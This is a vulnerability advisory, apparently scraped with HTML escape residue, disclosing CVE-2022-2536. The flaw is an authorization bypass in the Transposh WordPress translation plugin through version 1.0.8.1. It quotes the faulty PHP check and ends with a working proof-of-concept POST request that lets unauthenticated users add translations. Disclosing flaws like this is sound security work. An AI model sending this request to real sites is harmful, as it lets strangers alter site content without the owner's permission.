1. ADVISORY INFORMATION
\n=======================
\nProduct: Transposh WordPress Translation
\nVendor URL: https:\/\/wordpress.org\/plugins\/transposh-translation-filter-for-wordpress\/
\nType: Incorrect Authorization [CWE-863]\nDate found: 2022-07-23
\nDate published: 2022-08-16
\nCVSSv3 Score: 7.5 (CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:H\/A:N)
\nCVE: CVE-2022-2536<\/p>\n
2. CREDITS
\n==========
\nThis vulnerability was discovered and researched by Julien Ahrens from
\nRCE Security.<\/p>\n
3. VERSIONS AFFECTED
\n====================
\nTransposh WordPress Translation 1.0.8.1 and below<\/p>\n
4. INTRODUCTION
\n===============
\nTransposh translation filter for WordPress offers a unique approach to blog
\ntranslation. It allows your blog to combine automatic translation with human
\ntranslation aided by your users with an easy to use in-context interface.<\/p>\n
(from the vendor’s homepage)<\/p>\n
5. VULNERABILITY DETAILS
\n========================
\nWhen installed, Transposh comes with a set of pre-configured options; one of these
\nis the “Who can translate” setting under the “Settings” tab. However, this option
\nis ignored if Transposh has enabled its “autotranslate” feature (it’s enabled by
\ndefault) and the HTTP POST parameter “sr0” is larger than 0. This is caused by a
\nfaulty validation in “wp\/transposh_db.php”:<\/p>\n
if (!$by && !($all_editable &&
\n($this->transposh->is_translator() || ($source > 0 && $this->transposh->options->enable_autotranslate)))) {
\ntp_logger(“Unauthorized translation attempt ” . $_SERVER[‘REMOTE_ADDR’], 1);
\nheader(“HTTP\/1.0 401 Unauthorized translation”);
\nexit;
\n}<\/p>\n
Successful exploits can allow an unauthenticated attacker to bypass the Transposh
\npermissions and add translations to the WordPress site, thereby influencing what
\nis shown on the site. However, this only affects new translations.<\/p>\n
6. PROOF OF CONCEPT
\n===================
\nThe following Proof-of-Concept adds a new translation<\/p>\n
POST \/wp-admin\/admin-ajax.php HTTP\/1.1
\nHost: [host]\nContent-Length: 74
\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8

\nConnection: close<\/p>\n
action=tp_translation&ln0=en&sr0=1&items=1&tk0=translation&tr0=translation<\/p>\n
